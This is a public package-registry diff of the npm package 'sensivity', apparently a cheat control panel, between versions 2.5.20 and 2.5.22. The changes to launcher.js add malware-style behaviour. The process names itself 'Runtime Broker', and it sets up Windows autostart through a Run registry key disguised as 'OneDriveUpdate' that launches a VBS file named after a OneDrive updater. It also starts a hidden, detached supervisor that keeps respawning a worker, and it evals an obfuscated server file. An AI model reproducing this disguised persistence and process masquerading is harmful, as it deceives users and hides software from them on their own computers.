sensivity 2.5.20 → 2.5.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/launcher.js +184 -62
  2. package/package.json +1 -1
package/launcher.js CHANGED
@@ -2,22 +2,24 @@
2
2
  'use strict';
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
- const { execSync, exec } = require('child_process');
5
+ const { execSync, exec, spawn } = require('child_process');
6
6
  const APP_DIR = __dirname;
7
7
  try { process.chdir(APP_DIR); } catch(e) {}
8
8
 
9
- process.title = 'Runtime Broker';
10
-
11
- const debugState = { lastLine: '', lastTime: 0 };
9
+ const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
12
10
  const rawConsole = {
13
11
  log: console.log.bind(console),
14
12
  warn: console.warn.bind(console),
15
13
  error: console.error.bind(console)
16
14
  };
17
- const debugDir = path.join(process.env.LOCALAPPDATA || APP_DIR, 'Sensivity');
18
- const debugFile = path.join(debugDir, 'program.log');
15
+ const QR_WINDOW_TITLE = 'Sensivity Panel';
16
+ const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
17
+ const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
18
+ const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
19
+ const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
20
+ const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
19
21
 
20
- function cleanDebugValue(value) {
22
+ function cleanIssueValue(value) {
21
23
  let text = '';
22
24
  if (value instanceof Error) text = [value.code, value.message, value.stack].filter(Boolean).join(' ');
23
25
  else if (typeof value === 'string') text = value;
@@ -43,45 +45,167 @@ function cleanConsoleValue(value) {
43
45
  .replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>');
44
46
  }
45
47
 
46
- function debugLog(message, detail) {
47
- const cleanMessage = cleanDebugValue(message);
48
- const cleanDetail = detail === undefined ? '' : cleanDebugValue(detail);
49
- const line = '[' + new Date().toISOString() + '] ' + cleanMessage + (cleanDetail ? ' | ' + cleanDetail : '');
48
+ ['log', 'warn', 'error'].forEach(level => {
49
+ console[level] = (...args) => {
50
+ const cleaned = args.map(cleanConsoleValue);
51
+ const joined = cleaned.join(' ').toLowerCase();
52
+ if (joined.includes('program module loaded')) return;
53
+ rawConsole[level](...cleaned);
54
+ };
55
+ });
56
+
57
+ function issueLog(message, detail) {
58
+ const cleanMessage = cleanIssueValue(message);
59
+ const cleanDetail = detail === undefined ? '' : cleanIssueValue(detail);
60
+ const line = '[Program] ' + cleanMessage + (cleanDetail ? ' | ' + cleanDetail : '');
50
61
  const now = Date.now();
51
- if (line === debugState.lastLine && now - debugState.lastTime < 1000) return;
52
- debugState.lastLine = line;
53
- debugState.lastTime = now;
54
- try { fs.mkdirSync(debugDir, { recursive: true }); fs.appendFileSync(debugFile, line + '\n'); } catch(e) {}
55
- rawConsole.log(line);
62
+ if (line === issueState.lastLine && now - issueState.lastTime < 1500) return;
63
+ issueState.lastLine = line;
64
+ issueState.lastTime = now;
65
+ rawConsole.warn(line);
56
66
  }
57
67
 
58
- ['log', 'warn', 'error'].forEach(level => {
59
- console[level] = (...args) => rawConsole[level](...args.map(cleanConsoleValue));
60
- });
68
+ function removeFileSafe(file) {
69
+ try { fs.unlinkSync(file); } catch(e) {}
70
+ }
71
+
72
+ function ensureAutostart() {
73
+ try {
74
+ const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
75
+ execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
76
+ } catch(e) {}
77
+ }
78
+
79
+ function isProcessAlive(pid) {
80
+ if (!pid || pid === process.pid) return false;
81
+ try {
82
+ process.kill(pid, 0);
83
+ return true;
84
+ } catch(e) {
85
+ return false;
86
+ }
87
+ }
88
+
89
+ function isSupervisorRunning() {
90
+ try {
91
+ const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
92
+ return isProcessAlive(pid);
93
+ } catch(e) {
94
+ return false;
95
+ }
96
+ }
97
+
98
+ function isPanelPortBusy() {
99
+ try {
100
+ const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
101
+ return out.trim() === 'YES';
102
+ } catch(e) {
103
+ return false;
104
+ }
105
+ }
106
+
107
+ function startSupervisor() {
108
+ try {
109
+ removeFileSafe(STOP_FILE);
110
+ const child = spawn(process.execPath, [__filename], {
111
+ cwd: APP_DIR,
112
+ detached: true,
113
+ stdio: 'ignore',
114
+ windowsHide: true,
115
+ env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
116
+ });
117
+ child.unref();
118
+ return true;
119
+ } catch(e) {
120
+ issueLog('Background start failed', e);
121
+ return false;
122
+ }
123
+ }
124
+
125
+ function runSupervisor() {
126
+ process.title = 'Runtime Broker';
127
+ try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
128
+
129
+ const cleanup = () => removeFileSafe(SUPERVISOR_PID_FILE);
130
+ process.on('exit', cleanup);
131
+ process.on('SIGINT', () => process.exit(0));
132
+ process.on('SIGTERM', () => process.exit(0));
133
+
134
+ const launchWorker = () => {
135
+ if (fs.existsSync(STOP_FILE)) {
136
+ removeFileSafe(STOP_FILE);
137
+ process.exit(0);
138
+ }
139
+
140
+ let worker;
141
+ try {
142
+ worker = spawn(process.execPath, [__filename], {
143
+ cwd: APP_DIR,
144
+ stdio: 'ignore',
145
+ windowsHide: true,
146
+ env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
147
+ });
148
+ } catch(e) {
149
+ setTimeout(launchWorker, 3000);
150
+ return;
151
+ }
152
+
153
+ worker.on('exit', () => {
154
+ if (fs.existsSync(STOP_FILE)) {
155
+ removeFileSafe(STOP_FILE);
156
+ process.exit(0);
157
+ }
158
+ setTimeout(launchWorker, 1500);
159
+ });
160
+ worker.on('error', () => setTimeout(launchWorker, 3000));
161
+ };
162
+
163
+ launchWorker();
164
+ }
165
+
166
+ if (IS_SUPERVISOR) {
167
+ runSupervisor();
168
+ } else {
169
+ if (!IS_WORKER && !RUN_AS_FOREGROUND) {
170
+ ensureAutostart();
171
+ if (!isSupervisorRunning() && !isPanelPortBusy()) startSupervisor();
172
+ process.exit(0);
173
+ }
174
+
175
+ process.title = 'Runtime Broker';
176
+
177
+ function beginStartWatch() {
178
+ const token = ++issueState.startToken;
179
+ issueState.startConfirmed = false;
180
+ setTimeout(() => {
181
+ if (issueState.startToken === token && !issueState.startConfirmed) {
182
+ issueLog('Program start did not confirm');
183
+ }
184
+ }, 5000);
185
+ }
186
+
187
+ function markStartConfirmed() {
188
+ issueState.startConfirmed = true;
189
+ }
61
190
 
62
191
  function wrapProgramExports(exportsValue) {
63
192
  const wrapFn = (fn, label) => function wrappedProgramFunction(...args) {
64
193
  const activeAction = /start|run|init|attach|launch|enable/i.test(label);
65
- const stopAction = /stop|shutdown|disable/i.test(label);
66
194
  try {
67
- if (activeAction) debugLog('Program start entered', label);
68
- else if (stopAction) debugLog('Program stop entered', label);
69
195
  const result = fn.apply(this, args);
70
196
  if (result && typeof result.then === 'function') {
71
197
  return result.then(value => {
72
- if (activeAction) debugLog('Program active', label);
73
- else if (stopAction) debugLog('Program inactive', label);
198
+ if (activeAction) markStartConfirmed();
74
199
  return value;
75
200
  }, err => {
76
- debugLog(activeAction ? 'Program start failed' : 'Program action failed', err);
201
+ issueLog(activeAction ? 'Program start failed' : 'Program action failed', err);
77
202
  throw err;
78
203
  });
79
204
  }
80
- if (activeAction) debugLog('Program active', label);
81
- else if (stopAction) debugLog('Program inactive', label);
205
+ if (activeAction) markStartConfirmed();
82
206
  return result;
83
207
  } catch(e) {
84
- debugLog(activeAction ? 'Program start failed' : 'Program action failed', e);
208
+ issueLog(activeAction ? 'Program start failed' : 'Program action failed', e);
85
209
  throw e;
86
210
  }
87
211
  };
@@ -108,17 +232,16 @@ try {
108
232
  try {
109
233
  const loaded = originalLoad.apply(this, arguments);
110
234
  if (String(resolved).toLowerCase().endsWith('.node')) {
111
- debugLog('Program module ready');
112
235
  return wrapProgramExports(loaded);
113
236
  }
114
237
  return loaded;
115
238
  } catch(e) {
116
- if (String(resolved || request).toLowerCase().endsWith('.node')) debugLog('Program module failed', e);
239
+ if (String(resolved || request).toLowerCase().endsWith('.node')) issueLog('Program module failed', e);
117
240
  throw e;
118
241
  }
119
242
  };
120
243
  } catch(e) {
121
- debugLog('Program loader failed', e);
244
+ issueLog('Program loader failed', e);
122
245
  }
123
246
 
124
247
  try {
@@ -129,35 +252,32 @@ try {
129
252
  const originalEmit = socketProto.emit;
130
253
  socketProto.onevent = function patchedOnevent(packet) {
131
254
  const eventName = packet && Array.isArray(packet.data) ? packet.data[0] : '';
132
- if (eventName === 'startCheat') debugLog('Start requested');
133
- else if (eventName === 'stopCheat') debugLog('Stop requested');
134
- else if (eventName === 'checkLicense') debugLog('License check requested');
255
+ if (eventName === 'startCheat') beginStartWatch();
135
256
  return originalOnevent.apply(this, arguments);
136
257
  };
137
258
  socketProto.emit = function patchedEmit(eventName, ...args) {
138
259
  if (eventName === 'status' && args[0] && typeof args[0].running !== 'undefined') {
139
- debugLog(args[0].running ? 'Program active' : 'Program inactive');
140
- } else if (eventName === 'licenseResult' && args[0]) {
141
- debugLog(args[0].ok ? 'License accepted' : 'License rejected');
260
+ if (args[0].running) markStartConfirmed();
261
+ else if (!issueState.startConfirmed) issueLog('Program inactive after start');
142
262
  }
143
263
  return originalEmit.apply(this, arguments);
144
264
  };
145
265
  socketProto.__programDebugInstalled = true;
146
266
  }
147
- debugLog('Panel bridge ready');
148
- debugLog('Debug log ready', debugFile);
149
267
  } catch(e) {
150
- debugLog('Panel bridge failed', e);
268
+ issueLog('Panel bridge failed', e);
269
+ }
270
+
271
+ function fatalIssue(message, error) {
272
+ issueLog(message, error);
273
+ if (IS_WORKER && !RUN_AS_FOREGROUND) setTimeout(() => process.exit(1), 100);
151
274
  }
152
275
 
153
- process.on('uncaughtException', e => debugLog('Program fault', e));
154
- process.on('unhandledRejection', e => debugLog('Program async fault', e));
276
+ process.on('uncaughtException', e => fatalIssue('Program fault', e));
277
+ process.on('unhandledRejection', e => fatalIssue('Program async fault', e));
155
278
 
156
279
  // ===== Auto-start =====
157
- try {
158
- const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
159
- execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
160
- } catch(e) {}
280
+ ensureAutostart();
161
281
 
162
282
  function removeAutostart() {
163
283
  try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
@@ -178,8 +298,19 @@ function checkYouTube(callback) {
178
298
  // ===== QR Window =====
179
299
  let qrOpen = false;
180
300
 
301
+ function qrWindowExists() {
302
+ try {
303
+ const title = QR_WINDOW_TITLE.replace(/'/g, "''");
304
+ const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
305
+ return out.trim() === 'YES';
306
+ } catch(e) {
307
+ return false;
308
+ }
309
+ }
310
+
181
311
  function showQR() {
182
- if (qrOpen) return;
312
+ if (qrOpen && qrWindowExists()) return;
313
+ if (qrWindowExists()) { qrOpen = true; return; }
183
314
  qrOpen = true;
184
315
  const url = global.serverUrl || 'http://192.168.1.16:3000';
185
316
 
@@ -200,25 +331,14 @@ function showQR() {
200
331
  const psFile = path.join(APP_DIR, '.qrshow.ps1');
201
332
  fs.writeFileSync(psFile, [
202
333
  '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
203
- '$host.UI.RawUI.WindowTitle = "Windows PowerShell"',
334
+ '$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
204
335
  'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
205
336
  'Clear-Host',
206
337
  'Get-Content "' + qrFile + '" -Encoding UTF8',
207
338
  'Write-Host ""',
208
- 'Start-Sleep -Seconds 3',
209
- '$failCount = 0',
210
- 'while($true) {',
211
- ' Start-Sleep -Seconds 4',
212
- ' try {',
213
- ' $c=Get-Process chrome -EA Stop',
214
- ' $f=$false',
215
- ' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
216
- ' if(-not $f){$failCount++} else {$failCount=0}',
217
- ' if($failCount -ge 3){break}',
218
- ' } catch { $failCount++; if($failCount -ge 3){break} }',
219
- '}',
220
- 'del "' + qrFile + '" -Force -EA 0',
221
- 'del "' + psFile + '" -Force -EA 0'
339
+ 'Remove-Item "' + qrFile + '" -Force -EA 0',
340
+ 'Remove-Item "' + psFile + '" -Force -EA 0',
341
+ 'while($true) { Start-Sleep -Seconds 3600 }'
222
342
  ].join('\n'));
223
343
  exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
224
344
  }
@@ -243,6 +363,7 @@ monitor();
243
363
  // ===== Kill =====
244
364
  global.killSensivity = () => {
245
365
  global._shuttingDown = true;
366
+ try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
246
367
  hideQR();
247
368
  // Auto-start KALIR, sadece process durur
248
369
  setTimeout(() => process.exit(), 500);
@@ -253,3 +374,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
253
374
  ? path.join(APP_DIR, 'server.obf.js')
254
375
  : path.join(APP_DIR, 'server.js');
255
376
  eval(fs.readFileSync(serverCode, 'utf8'));
377
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sensivity",
3
- "version": "2.5.20",
3
+ "version": "2.5.22",
4
4
  "description": "Sensivity Control Panel",
5
5
  "main": "launcher.js",
6
6
  "bin": {